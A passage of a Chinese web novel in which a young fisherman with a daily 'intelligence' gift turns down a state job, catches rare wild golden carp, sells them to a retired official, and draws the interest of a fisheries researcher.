剁椒的咸鲜酸辣瞬间在口中爆开,却又恰到好处地衬托出鱼肉的鲜美。 没有丝毫腥气,只有满口的醇香和过瘾。 “好!好!真好!” 颜卫国连声称赞,又夹了一筷子,“涛子,你这手艺,绝了!比省城大饭店做得还地道!” 赵老头也吃得直咂嘴,“这鱼头,又肥又嫩,剁椒也够味!过瘾!” 铁牛娘看着红彤彤的辣椒有点犹豫。 江涛给她夹了块不带辣椒的鱼脸肉,又舀了点汤汁。 “大娘,您尝尝,不辣,鲜着呢。” “嗯,真不错,香,一点都不冲,好吃!” 铁牛娘尝过后,眼睛也亮了。 铁牛和小陈见状,也伸筷子夹了一块品尝,“好吃好吃。” “涛子,月柔,快来坐,别忙活了。”颜卫国像个慈祥的长辈一样招呼。 “好。”江涛拉着林月柔在空位坐下。 老二江盼娣见大圆桌还有空位,眼珠子一转,拉着老八就往空凳子上坐,“老八,来,坐这儿!” “三妹,四妹,五妹,你们也去坐吧。” 江招娣见还有三个空位,“我在这照顾老六老七。” “不不,我们跟大姐一起。” 几个丫头表示要跟大姐共患难。 “好。” 江招娣也是没想到妹妹们会这么说,愣了一下,笑着把盛菜的碗往跟前一推,“那咱们一块儿吃。” 灶台边,几个丫头围在一起,吃得小嘴油光,辣得直吸溜,却又停不下筷子。 而大圆桌上,众人也是吃得额头冒汗,酣畅淋漓。 看大家吃得开心,江涛心里满是成就感。 这一顿晚饭,也因为这道霸气十足的剁椒鱼头,其他菜倒显得逊色不少,几乎没怎么动。 第39章 渔船 吃完饭,已是晚上八点。 江涛和林月柔收拾着碗筷,几个丫头也帮忙擦桌子扫地。 村里静悄悄的,这时候,别家怕是早进入了梦乡。 江涛瞥了眼还坐着的颜卫国,估摸着他待会儿会跟赵老头回去休息。 可忙活半天,两人愣是没挪窝,就连铁牛娘也没走,只默默帮林月柔拾掇碗筷。 三人似乎都有话想说,气氛一时有些安静。 “涛子,别忙活了,过来坐。” 颜卫国指了指旁边的凳子,“聊聊你工作的事。” 江涛心里咯噔一下。 工作? 他不是已明确说过,不要大哥二哥那草编厂或者供销社的工作吗? 在他眼里,那两份工现在看着是铁饭碗,可再过几年政策一变,草编厂说倒就倒,供销社也得改制甚至解散。 现在去了,到时候反而麻烦。 而他有每日情报,靠水吃饭,比坐办公室自由,挣得也未必少。 “颜伯伯,那草编厂和供销社的工作,我真不去。” 江涛擦了擦手,走到桌边坐下。 “那两样,我自然知道你看不上。” 颜卫国笑了笑,神情变得郑重,“下下午你跟小陈、铁牛去县里卖鱼,我和老赵、你铁牛婶聊了挺久,也听说了不少村里的事。涛子,你这些年怎么过来的,我都知道了。包括你父亲的事,你大哥二哥的事。” 颜卫国定定地看着他,“打渔看天吃饭,终究不是长久之计,更不是个稳当营生。你家里丫头这么多,将来都要读书嫁人,光靠你一个人在江里捞,累死累活能攒下多少家底?万一有个闪失,这一大家子怎么办?” 赵老头也在一旁点头,“是啊,涛子。我知道这几天你运气好。可老话说了,人无远虑,必有近忧。老颜是真心实意想帮你找个稳当的出路。” 铁牛娘也跟着劝道:“涛子,你就听听颜干部安排吧。他是真心为你打算,不会害你的。” 看着三位长辈满眼的关切,江涛心里很感动。 他知道,他们说的都有道理。 上辈子,就是因为没有个稳当营生,又沾了赌博恶习,才把好好的家败掉,落得个凄惨下场。 “颜伯伯,赵叔,铁牛婶,你们的意思我懂。” 江涛深吸一口气,“只是这工作具体是指什么?我除了会点拳脚,能下力气,就剩打渔这点本事了。而且,我现在打渔,日子也还过得去……” “过得去?” 颜卫国摇摇头,“你那是运气好。我问你,今天这几百斤鱼是天天有的吗?那几百块钱是月月能挣的吗?就算你能,江里的鱼是捞不完的吗?你想过没有,等你把近处的鱼捞得差不多了,或者别人也发现了门道,都涌到江边,你还能这么轻松?” 江涛默然。 这些问题他不是没想过。 未来,长江渔业资源会枯竭,迟早要出台禁捕令。 所以,他想着趁政策还没下来这几年,快速攒笔原始资金。 要是能置条渔船去深水区,那里面藏着多少大家伙,谁知道呢? 反正销路不愁,高主任和刘采购今天话都递到嘴边了,只要他打得到鱼,就不愁没人要。 眼下就是不知道每日情报能不能覆盖深水区。 “所以,我给你想了个去处。” 颜卫国正色道,“县里今年计划组建一个水产养殖技术推广站,是省里扶持的新项目,专门研究和推广科学养鱼养虾养鳖技术。站里需要一些有实际捕捞经验,熟悉本地水情,又能吃苦肯学的年轻人。我觉得你挺合适。” 水产养殖技术推广站? 江涛心里一动。 对啊,将来他是不是也可以办个养殖场之类的? “这个站现在正在筹建,负责人是省里下派的一个年轻技术员,姓方,省水产研究所的高材生,人不错,也有真本事。我下午电话联系了县里,问了一下情况,正好他们缺人,尤其缺你这样在江边长大、熟悉鱼虾习性的人。” 颜卫国继续道,“去了那里,你可以跟着学技术,学科学养鱼,将来不仅自己能搞养殖致富,还能帮助乡亲们。这可是正儿八经的技术员,旱涝保收,吃公家饭的。而且跟你打渔不冲突,你那些经验说不定还能帮他们搞研究。最重要的是,这工作稳当、有前途、能学到真东西,风吹不着雨淋不着,也让你爸在九泉之下能安心。” “涛子,这可是千载难逢的好机会。” 赵老头在一旁敲边鼓,“要不是颜老在省里有关系,这种好事哪轮得到咱们乡下人?而且我听说,这个站是省里挂了号的,搞好了,说不定以后还能转成国家干部呢!” “是啊涛子,” 铁牛娘也连连点头,“这可是正经的好前程,比在江里漂着强百倍!” 江涛听着,心里飞快地盘算起来。 水产养殖,这确实是个方向。 每日情报能知道哪里鱼多虾多,但终究属于靠天吃饭。 如果学了养殖技术,那就可以自己生产,源源不断,而且更可控。 只不过,这技术推广站的工作,他是不会去的。 这年头的人都讲究稳妥,这本身没错,在他们看来江涛水里捞鱼不稳妥。 但他们不知道他有每日情报,有了这“外挂”保底,天天都有收获,谁又能说打渔不稳妥呢? 至于,风吹不着雨淋不着。 想发家致富,让老婆孩子过得更安稳,不付出汗水怎么行? “颜伯伯,” 江涛抬起头,“您的好意我知道,水产养殖的技术我确实感兴趣,也愿意学。” 听到这句,颜卫国脸上露出笑容。 他还真有点担心江涛看不上这工作。 毕竟。这小子一天就能挣几百块,是可能瞧不上那点死工资。 “涛子,你放心,我……” “颜伯伯,我话还没说完,” 江涛却打断了他,“那技术推广站的工作我不去。不过,您要真愿意帮我,可否帮忙想办法弄条渔船,能进深水的那种。我想趁着江里还有东西,再干几年,顺便摸索摸索,为以后搞养殖打基础。” “什么?” 颜卫国以为自己听错了,看向赵老头和铁牛娘。 见他二人都目瞪口呆,知道自己没听错。 “涛子,这么好的铁饭碗,公家的技术员你不去?” 赵老头不能理解,急得直拍大腿。 “涛子,你……” 铁牛娘也一脸焦急,觉得这孩子是不是傻了。 “主要我怕自己自由散漫惯了,干不好公家的活儿,也受不了那些条条框框。” 江涛尽量把话说得合情合理。 “谁生下来就会?” 颜卫国不肯放弃,“你有在江边长大的底子,又肯动脑子,不怕吃苦,肯定能学会。我已经跟那边初步说好了,过两天你就跟我一起去县里,见见那个方技术员。具体怎么样,你们见面再谈。行,你就留下。不行,你再回来打你的渔,颜伯伯绝不勉强你。” 江涛心里叹气。 刚才他就不该心软说那话。 他知道,不把话说死,颜伯伯是不会死心的。 “颜伯伯,” 江涛迎上他目光,“您的心意我万分感激。但我对自己的未来,有自己的规划和打算。打渔,不只是为了糊口,更是我想走的路。如果您愿意相信我,就请帮我弄条船。有了船,我能走得更远。如果这条路我走歪了,走不下去了,到时候再听您的安排,去学技术,我绝无二话。” “你……” 颜卫国看着江涛那双眼睛,里面没有年轻人常有的迷茫和浮躁,只有一股沉淀下来的决心和自信。 他知道,这孩子是认真的,而且是经过深思熟虑的。 难道打渔就那么有前途? 还是说,这孩子身上真有江山那股不服输,不走寻常路的劲儿? “涛子,你这风里来雨里去的,就不为月柔和孩子们想想?有个安稳工作,她们也能安心。” “颜伯伯,我相信月柔和孩子们会支持我的决定。也相信靠自己的双手,能让她们过上更好的日子。” 江涛说这话时,看了一眼旁边的林月柔。 林月柔虽听得云里雾里,心里也担忧,但接触到丈夫的眼神,她还是轻轻点了点头。 “行吧,” 颜卫国看着这一家人,最终长叹一声,脸上是无奈,也有一丝释然。 孩子大了,有自己的主意了,强扭的瓜不甜。 “既然你主意已定,我尊重你。船的事我答应了。正好我认识造船厂的人,给你弄条结实耐用的。” 说到这,他顿了顿,“但有个条件。你先跟我去县里见见那个方技术员,聊聊,听听人家怎么说,了解一下水产养殖到底是怎么回事。就算你不去上班,认识一下,交个朋友,多学点东西,多条路总没坏处。万一将来打渔不顺,或者政策有变,你也有个退路,有个能拿得出手的本事。这个要求,不过分吧?” “不过分!一点都不过分!” 江涛心里一块石头落地,“谢谢颜伯伯!您能帮我弄船,我就感激不尽了!去见方技术员,我肯定去,我也想学点真东西!” “这就对了!” 颜卫国笑了,拍拍他的肩膀,心里也终于松了一口气。 总算,能为老战友的儿子安排点实际有用的东西。 虽没能按他设想的路走,但涛子有自己的想法,有冲劲,肯干,这比什么都强。 也许,这孩子真能在江里闯出另一片天。 第40章 金色鲤鱼 此事总算尘埃落定,江涛松了口气。 颜卫国和小陈跟着赵老头去了隔壁赵家休息,铁牛也扶着铁牛娘回了家。 屋里重新安静下来,只剩下自家人。 只不过,没过一会儿,铁牛又折返了回来,站在门口,搓着手,黝黑的脸上有些不好意思。 “涛子,我、我有件事想跟你商量……” “铁牛,进来说,什么事?”江涛招呼他。 铁牛走进来,在凳子上坐下,犹豫了一会儿才开口。 “涛子,你刚才说想要条大渔船,能进深水的那种。我寻思着,你要是真弄到了船,一个人怕是忙不过来,那船可不是小舢板,得有人搭把手。我……我水性还行,力气也有,你看……要不我跟着你干?” 今天跟着江涛在老拗口捞着几百斤鱼。 虽然累得够呛,但那收获的喜悦和成就感,是编多少张芦苇席都比不上的。 涛子对兄弟实诚,分钱也大方。 与其在家里编席子、打零工看人脸色,不如跟着涛子一起干,说不定真能闯出点名堂。 “行啊!” 江涛眼神一亮,正愁有了船找不到可靠帮手呢。 铁牛这人实诚,肯下力气,知根知底,是再好不过的搭档。 有铁牛加入,他出海心里就踏实多了,遇到事也能有个照应。 “那太好了!谢谢你涛子,肯带着我!”铁牛激动地站起来。 “谢什么?是兄弟就一起干!” 江涛也站起来,用力拍了拍他的肩膀,接着,很自然地从口袋里掏出一张大团结,塞到铁牛手里。 “这是你今天帮忙捞鱼的辛苦费。拿着,别推。” “涛子,这太多了。” 铁牛看着手里崭新的十块钱,觉得烫手。 今天他虽出了大力,可涛子管饭,还让他娘也过来吃,这又给这么多钱…… 江涛按住他的手,“不多,你今天流的汗值这个价。铺砖的费用,等砖铺好了,咱们一起结。” 今天铺砖只铺了堂屋和灶间,卧房和杂物间还没动,工程量不小,铁牛还得忙活一天。 “不用,这十块钱就顶铺砖的钱了……” 铁牛还想推辞,觉得十块钱干这些活足够了。 “一码归一码。” 江涛不由分说,把钱塞进他手心。 “给你就拿着,不然我跟你急。明天铺砖,你娘要是想来帮忙做饭,你就让她来,别让她累着。咱们兄弟之间,以后有钱一起挣,有饭一起吃!” 铁牛看着江涛真诚的眼神,又看看手里沉甸甸的十块钱,鼻子有些发酸。 他重重地点了点头,把小心地钱折好,揣进最里面的口袋。 “嗯!涛子,我听你的!那明天一早我就来。” “好,明天见。”江涛笑着送他出门。 铁牛憨厚地笑了笑,心里暖烘烘的。 这几天,他在江涛这儿挣的钱,加起来二十二块了。 搁以往,他打零工,编席子,起早贪黑,一个月能攒下三五块钱就不错了。 跟着涛子,这日子真有奔头。 时间不早了,江涛一家人洗漱完准备睡觉。 今天一天事情太多。 江涛躺在床上,脑子里渔船、打渔、铁牛入伙、颜伯伯的安排,各种念头翻腾。 迷迷糊糊睡着后,竟做起梦来。 梦里雾气很浓,像是江上的晨雾。 他看见一个穿着旧军装,身影挺拔的年轻男人,正背对着他,赶着一大群金光闪闪的鱼往雾气深处走。 那些鱼多得数不清,密密麻麻,像一片流动的星河。 江涛看那背影莫名觉得亲近,心里一动,忍不住追上去。 “三叔?是您吗?您干嘛去?” 那背影顿了一下,但没回头,只朝他挥了挥手,便赶着鱼群,渐渐消失在浓雾里。 “三叔!等等!” 江涛一急,猛地惊醒过来,坐起身,胸口还在微微起伏。 窗外天色已经蒙蒙亮了。 他抬手看了看腕上的上海牌手表,指针指向五点五十分。 原来是个梦。 他定了定神,正要下床,脑海中熟悉的字迹准时浮现。 【每日情报:今日辰时一刻,废弃砖窑码头附近,有数尾金色鲤鱼出没,用细眼抄网可捕。】 金色鲤鱼? 江涛精神一振。 这玩意儿在民间是吉庆的象征。 尤其,眼下这讲究彩头的年头,送到饭店或者卖给讲究人家,价钱可不会低。 而且情报提示了具体时间和工具,看来今天的目标明确,难度也不大。 只是现在快六点,距离七点一刻,也就一个多点小时。 江涛立刻翻身下床,动作麻利地穿好衣服。 “月柔,我出去一趟。” “这么早?吃了早饭再走。” “不行,来不及了!” 江涛匆匆洗了把脸,从墙角拿起抄网和一个水桶,风风火火骑上自行车赶往废弃砖窑码头。 那地方距离老拗口约有两里地。 早年公社曾在那建窑烧砖,后因土质不好,砖块易碎,加上老拗口不干净的传闻让工人们心里发毛,便搬走了。 平常也没什么人去,跟老拗口一样荒凉。 江涛骑着自行车一路猛蹬,还好路上几乎没什么行人,早起下地的村民也没注意到他。 赶到地方时,天色已经大亮,手表显示刚过七点。 眼前是一片长满荒草的滩地,岸边歪歪斜斜立着几堵半塌的砖墙,上面爬满了藤蔓。 一段腐朽发黑的木码头伸向水中,不少木板已经断裂,看着就不甚牢靠。 江水在这拐了个小弯,水流平缓,靠近码头的水边长满了茂密的水葫芦和浮萍,显得水色有些深绿。 四周静悄悄的,只风吹芦苇的沙沙声和水波轻轻拍打朽木的声响。 江涛放好自行车,拎着水桶和抄网,放轻脚步走到水边,仔细搜索水面。 水面上除了漂浮的水草和几片落叶,什么都没有,更不见鲤鱼的影子。 但情报不会出错,他深吸一口气,按捺住急切,找了个被水葫芦半遮掩的角落蹲下来,耐心等待。 只是这里水面开阔,抄网下去会不会一下子惊走鱼? 他有点后悔,走得急没带撒网。 但现在回去可来不及了,算了,听天由命吧。 能捞到行,捞不到也没什么。 时间一分一秒过去,江涛屏息凝神,眼睛一眨不眨地盯着那片水域。 就在他感觉腿有些麻了的时候,水面靠近码头桩基的阴影处,忽然泛起了一圈细微的涟漪。 紧接着,一抹璀璨的金红色,如同水底燃起的小小火苗,轻盈一闪,缓缓浮了上来。 是一条鲤鱼! 而且真是通体金红,鳞片在晨光下闪着华丽光泽,个头不小,怕是有三四斤重! 它似乎很悠闲,摆动着宽大的尾巴,在水面下不远处缓缓游弋,时不时用嘴去触碰水下的什么东西。 江涛的心跳骤然加快。 他稳住呼吸,慢慢将抄网浸入水中,从侧后方,极其缓慢地靠近那条毫无防备的金色鲤鱼。 近了,更近了……就是现在! 江涛手腕猛地发力,抄网从水下向上一舀,迅疾无比地朝那抹金色兜去! “哗啦!” 水花溅起,抄网离开水面的瞬间,能感觉到网里猛地一沉,接着便是鱼儿疯狂摆尾挣扎的力道。 成了! 江涛赶紧将抄网提到岸上,只见网里那条金红色的大鲤鱼正剧烈地扑腾着,在绿色网眼中显得格外耀眼夺目。 他小心翼翼将鱼倒进带来的水桶,加了点江水。 鲤鱼入水,惊惶地转了两圈,渐渐安静下来。 他还没来得及平复激动的心情,眼角余光又瞥见另一处水草边,金光一闪。 又一条! 紧接着,第三条、第四条……短短一刻钟内,竟然先后有五条大小不一,色泽金红鲜艳的鲤鱼。 仿佛排着队般,在他眼前这片不大的水域里现身。 而且,似乎都不怎么怕人,游得悠闲自在。 江涛简直不敢相信自己的运气,手上动作却丝毫不慢。 稳、准、快! 他一网一个,不多时,水桶里就多了五条活蹦乱跳,金光闪闪的大鲤鱼。 挤在桶里,映得一桶水都仿佛泛着金光。 好家伙,这鲤鱼怎么跟专门等着他来捞似的! 第41章 找个好归处 江涛在江边又折了些芦苇杆子,这才往村里走。 路上有村民跟他打招呼。 “涛子,这一大早的干嘛去了?” “叔,家里没烧火的柴禾了,我去江边打了点芦苇杆子。” 江涛笑着指了指车后座上捆好的那一捆芦苇。 “哦哦,是该备着点,等收麦子就好多了。” 村民点点头,看着江涛骑车远去的背影,对旁边的人说:“涛子现在越来越勤劳顾家了,知道为家里打算了。” “是啊,以前不懂事,游手好闲的,看来是真转了性了。”另一个村民附和。 “不过,我看他最近天不亮就往外跑,有时候还带着桶,不像是光打柴……你说,他是不是在江里发现什么门道了?” “不好说,江水涨潮落潮自有它的规律,捞到点东西也正常。不过看他这劲头,怕不是简单捞点小鱼小虾。” “管他呢,人家凭本事吃饭,咱们过好自己的日子就成。” 到家时,颜卫国正坐在大圆桌旁,跟几个围在桌边吃早饭的丫头说着话。 见江涛拎着水桶进来,连忙招呼他。 “涛子回来了?快过来,月柔给你留了早饭,还热乎着呢。你这孩子,不管以后干什么,早饭一定要吃,还要吃好。身体是革命的本钱,可不能仗着年轻就瞎折腾。” 颜卫国语气里,满是长辈特有的关切和责备。 “知道了,颜伯伯。” 江涛心里微微一动。 这种家常唠叨和关心,他已经很久没有听到过了。 母亲早就过世,父亲后来也郁郁而终,大哥二哥更是靠不住。 林月柔是关心他,但从不敢像这样带点埋怨的叮嘱。 颜伯伯的出现,让他心里那处空了很久的地方,似乎被什么东西轻轻填上了一角。 江涛将水桶放到墙角,洗了手,走到桌边坐下。 林月柔立刻给他盛了一大碗稠粥,又夹了些咸菜。 “快吃吧。”林月柔柔声道。 “嗯。” 江涛低头喝了一口热粥,胃里顿时暖了起来。 “涛子,你能这样真好。” 颜卫国在旁感慨。 别看江涛现在懂事顾家,以前当混子的时候,那可是日上三竿才起,起来就到处晃荡,哪有这份早起挣生活的劲头。 这些事,赵老头都跟他说了。 “踏踏实实过日子,比什么都强。来,多吃点。” “颜伯伯,我抓到几条红色鲤鱼,看着挺稀罕,您帮我看看?” 江涛喝完粥,擦了擦嘴,起身把墙角的水桶拎了过来。 “哦?” 颜卫国一听也来了兴致,走到桶边往里一看。 只见五条鲤鱼挤在桶里,条条体态丰腴,鳞片完整,尤其是那身金红透亮的颜色,鲜艳夺目,在晨光下仿佛自带光泽,一看就非比寻常。 “这鲤鱼成色可真不一般!这颜色,这品相,是野生的?” “是,在废弃砖窑码头那边捞的。”江涛点头。 颜卫国蹲下身,仔细端详片刻。 “涛子,这鲤鱼看着的确稀罕,不是一般的红鲤鱼。我在省里一位老领导家见过,他家有个大锦鲤池,养的锦鲤是名贵品种,其中就有这个颜色的,据说叫绯写还是什么,可贵了,一条能值成百上千,甚至上万的都有! 当然,那是专门培育观赏的。你这野生能长成这样,颜色还这么正,真是难得!这要是送到省城那些喜欢玩鱼信风水的讲究人家手里,或者卖给高级宾馆饭店做景观鱼,价钱绝对低不了!” 江涛听了,心里也是一喜。 他料到这金色鲤鱼值钱,但没想到颜伯伯给出的估价这么高。 不过,他也清楚,那是省城、是观赏鱼市场的价。 在本地,可能卖不了那么夸张,但肯定比普通鱼贵得多。 “就是不知道乡里能不能卖个好价钱?”江涛有些惆怅。 “傻小子,” 颜卫国笑着拍了拍他的肩膀,“有颜伯伯在,能让你这几条宝贝疙瘩明珠暗投?再说,这些鱼看着就有灵气,也该替它们找个好归处。这样,正好今天我要带你去县里见方技术员,这几条鲤鱼也带上。我认识县里一个退休的老局长,他就喜欢鼓捣花鸟鱼虫,家里有个小池子。我带你上门,让他掌掌眼,价钱肯定亏不了你。” “又要麻烦颜伯伯,还要您到县里跑一趟了。” 江涛有些不好意思。 占便宜占一次没事,次次占,他这心里也过意不去。 “说的哪里话,” 颜卫国摆摆手,一副理所当然的样子,“我不是说了让你跟方技术员见见吗?这不正好顺路。而且,你这鱼也算是个不错的敲门砖,能让那老局长高兴,说不定对方技术员那边的事也有帮助。这叫一举两得。” 江涛听了,也不再推辞。 “好吧,那就又麻烦颜伯伯了。” “一家人,不说两家话。赶紧收拾收拾,咱们早点出发。”颜卫国笑道。 两人拾掇准备一番出门。 见铁牛在外面候着,他早就来了,继续给江涛家铺砖,但见颜卫国在屋里跟几个孩子说话,就没敢进来。 现在见江涛和颜卫国出来,他才走上前。 “铁牛,我去县里一趟,家里就麻烦你照看,月柔有什么事,你帮着搭把手。”江涛交代道。 “哪里的话,” 铁牛憨厚笑笑,拍了拍胸脯,“涛子,你放心去,家里有我,砖我一定给你铺得平平整整的。” 这时,小陈已经发动了汽车。 赵老头听见动静,推门走了出来。 “老颜,江涛,你们要去县里?” “是啊,老赵,我带涛子去办点事。”颜卫国应道。 赵老头就想起昨晚江涛拒绝去技术站的事,心里还惋惜,没想到一夜过去,江涛想明白了,这是好事。 “行,涛子,去见了方技术员,好好聊聊,那是正经前途。” “赵叔,我去卖鱼。”江涛说着,提了提手里的水桶。 “啊?” 赵老头一愣,凑近一看,看清桶里那几条金光闪闪的鲤鱼,更是惊讶,“涛子,你这是在哪捞到的啊?这鲤鱼成色可不多见!” 他心里真是纳了闷了,这小子最近这运气咋这么好,天天有收获,几乎不重样。 之前自己说他不过是踩了狗屎运,可这运气持续时间也太长了吧? 难道真不是运气,是本事? “就在江边老拗口附近。”江涛含糊地应了一句,便跟颜卫国上了吉普车。 “老拗口?” 赵老头看着远去的吉普车,又看看旁边一脸实诚的铁牛,眉头拧成了疙瘩。 难道那里真有别人不知道的鱼窝子? 还是说,江涛这小子掌握了什么特别的看水找鱼的门道? 他越想越觉得心里痒痒,也有些后悔昨天没跟着去。 不行,等老颜和江涛回来,他得好好问问,实在不行,待会他也去老拗口那附近转转。 第42章 三千块! 吉普车一路驶向县城,最后停在一处绿树掩映的小院门前。 这里住的都是退休老干部,环境很是清幽。 颜卫国熟门熟路地领着江涛来到一户人家门前,敲了敲门。 不多时,一个精神矍铄,头发花白的老者开了门。 “老颜?稀客稀客,快请进!” 老者热情地将两人迎进门,目光随即落在江涛手里的水桶上,眼睛一亮,“这位是?” “老周,这是我一个老战友的儿子,江涛,在江边长大的。涛子,这是周局长。”颜卫国介绍道。 “周局长好。”江涛礼貌问好。 “好好,小伙子挺精神。老颜,你来找我,是不是有宝贝?快让我看看。” 周局长看到江涛手里拎的桶就猜到了几分,迫不及待地引着他们来到院子里的小水池边。 江涛将水桶放到池边,轻轻掀开盖子。 五条金红璀璨的鲤鱼在桶里安静地游动着,晨光照在鳞片上,折射出耀眼的光芒。 “嚯!” 周局长一见,立刻俯下身,眼睛几乎贴到了桶边,仔细端详起来,嘴里啧啧称奇,“好鱼!真是好鱼!这颜色,这体态,这鳞片的完整度……是野生的?了不得,了不得啊!” 他拿起旁边一个带网的捞子,小心地捞起一条,放在一个白瓷盆里仔细观察。 “你看这绯盘,均匀厚实,这墨质……虽不是标准的锦鲤品种,但这野生的自然发色,这股子灵动的劲儿,是那些池子里养出来的比不了的!难得,太难得了!” 颜卫国在一旁笑着补充,“涛子早上刚捞的,想着老周你是行家,就带来给你掌掌眼。” “掌眼?这是给我送宝来了!” 周局长爱不释手地看了又看,才小心将鱼放回桶里,眼神热切地转向江涛,“小江同志,这几条鱼,你打算怎么个说法?” 江涛看向颜卫国,颜卫国给了他一个鼓励眼神。 “周局长,您是行家,您看着给。这鱼在我手里就是食材,在您这儿是观赏雅玩,能到懂它的人手里,是鱼的福气。” 这话说得周局长心里很受用,他捋了捋胡子,沉吟片刻,“嗯,既然你信得过我老头子,我也不能亏了你。这样,这几条鱼,品相、大小、颜色各有差异,但都难得。我出个总价,两千块,你看如何?” 两千块! 江涛心里一震。 五条鲤鱼,平均一条五百! 这价钱远超他预期,在乡下绝对卖不到这个价。 果然,好东西得卖给识货的。 “这……是不是太多了?”江涛下意识道。 “不多不多,” 周局长摆摆手,“这样的野生金鲤可遇不可求,放我这儿养着,看着就高兴,值这个价。再说,你是老颜带来的人,我更不会亏待。” 颜卫国也笑道:“涛子,老周是真心喜欢,你就别推辞了。他这池子里的鱼,有的比这还贵呢。” “那就谢谢周局长了。”江涛不再犹豫,爽快应下。 “好,爽快!” 周局长很高兴,立刻进屋取了三十张蓝灰色的百元大钞点给江涛。 又招呼老伴拿来几个精致的塑料袋,小心地将鲤鱼分装,注入氧气,看样子是早有准备。 新来的鱼不能立刻放入水池,得先隔离观察一段时间,以防带有病菌感染其他鱼。 这爱好花鸟鱼虫的周局长还真挺专业的。 “小江同志,以后要是再捞到这样的好货,或者别的稀罕水族,可一定先想到我老头子啊!”周局长叮嘱道。 “一定,周局长。”江涛点头答应。 离开周局长家,江涛摸着怀里厚厚一沓钞票,心里踏实又兴奋。 这钱来得比预想的顺利太多。 “怎么样,涛子,颜伯伯没骗你吧?好东西就得找对买家。”颜卫国笑道。 “嗯,多亏了颜伯伯。”江涛真心道谢。 “行了,鲤鱼的事办妥了。走,咱们去会会那位方技术员。他在县农业局后面的实验站,不远。” 颜卫国拍拍江涛的肩膀,两人重新上车,朝着县城另一头驶去。 吉普车在县农业局后面的实验站门口停下。 说是实验站,这里更像是个小型养殖场。 有几个水泥池子和一片用网隔开的池塘,空气里弥漫着一股淡淡水腥味和饲料味儿。 颜卫国带着江涛走进一间挂着“技术室”牌子的平房。 里面陈设简单,几张桌子拼在一起,上面堆满了书、图纸和一些瓶瓶罐罐。 有个戴着眼镜,约莫三十的年轻人,正俯身在一个小玻璃缸前,对着里面两条颜色黯淡的小鱼皱眉,嘴里还念念有词。 “这墨色沉淀还是不够均匀……水质数据明明没问题,难道是光照……” “方工,忙什么呢?”颜卫国笑着打招呼。 年轻人抬起头,看到颜卫国,推了推眼镜,脸上露出笑容,“颜老,您来了!快请进,我正在琢磨这两条小家伙的墨质表现呢。” “方工,这就是我跟你提过的,江涛,在江边长大,水性好,对鱼虾也熟。”颜卫国介绍道。 “方技术员,你好。”江涛点头致意。 “你好,江涛同志。” 方技术员客气点点头,但眼神明显带着“又一个走后门想进技术站混口饭吃”的了然。 “你们来得正好,看看这个。这是我好不容易从省所搞来的两条大正三色锦鲤苗,可惜表现不太理想。真正的上品锦鲤,尤其是野生环境下能自然发色的,那真是可遇不可求,尤其是绯写、红白这类……” 方技术员滔滔不绝讲着锦鲤的品相、血统,江涛在一旁听得有些莫名其妙。 “颜伯伯,这里不是学鱼虾蟹鳖的养殖技术吗?” 颜卫国正要解释,方技术员却先开了口。 “江涛同志,我们这里是特种水产繁育与种质资源研究点,隶属于省水产研究所。我的主攻方向是本地特色有经济开发潜力的水产种质资源。锦鲤,在邻国是重要的观赏鱼产业,经济价值极高。我国在这方面起步晚,但市场潜力巨大。省所支持我进行一些前瞻性的探索,看看能否利用本地野生资源,选育出适应我国水土,有自己特色的观赏鱼品系。这不仅是养鱼,这里面有遗传学、育种学、环境生态学,是正儿八经的科学研究。” 江涛点点头,原来如此。 后世,锦鲤产业价值确实很高。 别看他刚才五条卖了三千,有些名贵品种,后世拍卖会上几十万上百万一条的都有。 江涛忍不住插了一句,“方技术员,你说的那种全身金红,颜色很艳的鲤鱼,我今天早上在江边捞到过几条。” “那种体色的你捞到几条?” 方明透过镜片看着江涛,眉头微蹙。 “江涛同志,你知道那种野生金鲤出现的概率有多低吗?那不是普通的红鲤鱼,那是需要特定的水质、食物链,甚至可能有一点返祖或者特殊变异才会出现的。我研究水产这么多年,在咱们这片水域的样本记录里都没见过几次可靠的目击报告。你能捞到?还几条?” 呵呵,这年头,为了引起注意或者争取机会,瞎编乱造的人他见多了。 江涛被他这态度弄得有点尴尬,但也没生气,只是平静道:“是真的,五条,个头都不小,颜色就跟您说的那个绯写差不多,金红金红的挺好看。” “方工,涛子没吹牛。” 颜卫国也慢悠悠开口,“他确实捞到了,而且,就在我们来这儿之前,刚把那几条鱼卖给老周了。老周你认识吧?就退休的周局长,他可是喜欢得不得了,出价三千全买走了。” “什么?!卖给老周了?” 方明眼睛瞬间瞪圆,几步冲到江涛面前,也顾不上什么矜持了。 “江涛同志,你真的捞到了?你、你怎么不先拿来给我看看啊!哎呀!那种活体样本多珍贵啊!对研究本地野生鱼类种群变异、发色机制可能有重大价值!你、你就这么卖了?!” 他急得直拍大腿,眼镜都快从鼻梁上滑下来。 那痛心疾首的样子,仿佛江涛卖掉的是什么国宝级的科研标本。 江涛被他这突如其来的激动弄得有点懵,下意识道:“我也不知道您需要这个啊。而且,那鱼看着是挺稀罕,但周局长喜欢,出的价也合适,我就……” “合适?那是钱的事吗?!” 方明简直痛心疾首,“那是科研材料!活的,野生的!你能不能再捞到?不,你是在哪里捞到的?具体位置、水深、水温、当时的水况你还记得吗?我们必须立刻去那个地方做环境采样和调查!说不定那里有个稳定的特殊种群或者特殊的小生境!” 这变脸速度,让一旁的颜卫国都忍不住笑了。 第43章 人比人 吉普车一路疾驰,很快回到滨江村。 车刚停稳,方明就第一个跳下车,目光急切地扫视着江岸方向。 “方工,别急,到时让涛子带路。咱们先去家里坐坐,吃了午饭再去江边也不迟。” 颜卫国看着方明急切的样子,笑着劝道。 “颜老,时间不等人啊!那野生金鲤出现的环境时间都至关重要,必须第一时间去现场勘查!” 方明推推眼镜,转向江涛,“江涛同志,请立刻带我去你早上捕捞的位置!任何细节都可能对研究有帮助!” 江涛看向颜卫国。 颜卫国无奈笑道:“行吧,那就先去江边。小陈,把车开到村口江堤那,能开多远开多远,剩下的路咱们走过去。” 吉普车沿着村路开到通往江边的土路,开到一处相对平整的江堤便停了下来,没再继续往前开。 上次去老拗口装鱼,是硬着头皮开过去的,地盘被刮蹭了好几下,小陈心疼,颜卫国也不想把车折腾得太狠。 “小陈,你留在这儿。” “是,领导。” 江涛领着颜卫国和方明,沿着江堤快步朝废弃砖窑码头走去。 快到老拗口附近,看见有个人影,正挥动着渔网在江边忙活。 “咦?是老赵?” 颜卫国视力好,一眼认出是赵老头。 三人加快脚步。 等他们赶到近前,正好看到赵老头一网撒出,又空空如也的收回来。 “唉,就说这里怎么会有鱼?” 赵老头不甘心地叹了口气,将网里的杂物抖落,准备换个地方再试。 